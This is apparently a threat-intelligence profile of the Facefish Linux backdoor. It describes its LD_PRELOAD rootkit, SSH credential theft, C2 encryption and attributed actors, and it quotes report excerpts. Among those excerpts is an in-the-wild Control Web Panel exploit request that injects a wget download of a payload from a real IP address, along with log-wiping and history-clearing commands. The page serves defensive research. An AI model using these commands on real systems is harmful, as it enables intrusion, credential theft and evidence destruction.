Facefish is a Linux backdoor implemented through a user-space rootkit, with separate dropper and rootkit components. It targets x64 Linux systems and includes logic to adapt its rootkit for FreeBSD. The dropper checks architecture and root privileges, installs a shared library, configures system-wide dynamic-linker preloading, and restarts SSH services to load the implant into OpenSSH processes. This provides persistence and enables interception of SSH client and server functions to steal account names, passwords, and remote-host information.
The rootkit transmits stolen credentials to its command-and-control server and collects host information, including processor, architecture, memory, storage, network, and SSH configuration data. Its backdoor functionality supports reverse shells, arbitrary command execution, and renewed host-information collection. Communications use Diffie-Hellman key exchange and Blowfish encryption with session-specific keys. Evasion measures include UPX packing, encrypted configuration data, removal of ELF section information, and randomized configuration encryption that changes the deployed rootkit's hash. Deployment sequences also remove exploitation traces and clear shell history.
Facefish has been deployed following exploitation of Control Web Panel vulnerabilities. Twelve has installed it through a web shell on VMware vCenter after exploiting CVE-2021-21972 and CVE-2021-22005. Modified versions have also been used by Shedding Zmiy, a threat cluster associated with Cobalt/ExCobalt, on compromised Linux infrastructure, including Zimbra servers and municipal systems. These deployments place Facefish within operations targeting Russian government and municipal organizations, although the malware itself does not provide ransomware or destructive wiping functionality.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.
Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
...prior iterations known as Facefish (February 2021), Kitsune (February 2022), and Megatsune (November 2023).
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Propagation method The vulnerabilities exploited in the wild are shown below POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;...
Accept command 0x302, reverse shell. | Accept command 0x310, execute any system command Send instruction 0x311 to return the result of bash execution
POST /admin/index.php?...&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;...
works at the Ring3 layer and is loaded using the LD_PRELOAD feature... Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.
we discovered a large number of web shells... All the web shells were written in PHP and bore random names
Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application /etc/init.d/sshd restart /etc/rc.d/sshd restart service ssh restart systemctl restart ssh systemctl restart sshd.service
HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials
Restart the ssh service with the following command to give Rootkit a chance to load into the sshd application /etc/init.d/sshd restart /etc/rc.d/sshd restart service ssh restart systemctl restart ssh systemctl restart sshd.service
The ELF sample file ... is a Dropper, which releases a Rootkit... Facefish consists of 2 parts, Dropper and Rootkit... loaded using the LD_PRELOAD feature
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; history -c
history -c
rm -rf /usr/bin/sshins;
works at the Ring3 layer and is loaded using the LD_PRELOAD feature... Write the Rootkit configured in the previous stage to the /lib64/libs.so file, and write the following to /etc/ld.so.preload to realize the Rootkit preload.
chmod 0777 /usr/bin/sshins;
HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials
its main function is to hook ssh/sshd program related functions, and it also supports some backdoor functions... steal user login credentials
HOOK the related functions that handle the credentials, and finally when ssh actively connects to it, or when sshd passively receives an external connection, Facefish, with the help of Hook function steals the login credentials
start collecting host information, including: CPU model, Arch, memory size, hard disk size... Network device
Collect uname information, group packets and send 0x301
start collecting host information, including: CPU model, Arch, memory size, hard disk size, ssh service related configuration file and credential data.
bot sends 0x305 command to C2... receives and decrypts a C2 command, and then disconnects the TCP connection.
the main function is to download the payload of the first stage of execution, and then clean up the traces. cd /usr/bin; /usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; chmod 0777 /usr/bin/sshins;
The main functions of Facefish are Upload device information Stealing user credentials Bounce Shell Execute arbitrary commands
uses Diffie-Hellman exchange keys, Blowfish encrypted network communication... Rootkit's communication process uses DH (Diffie–Hellman) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption
169 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.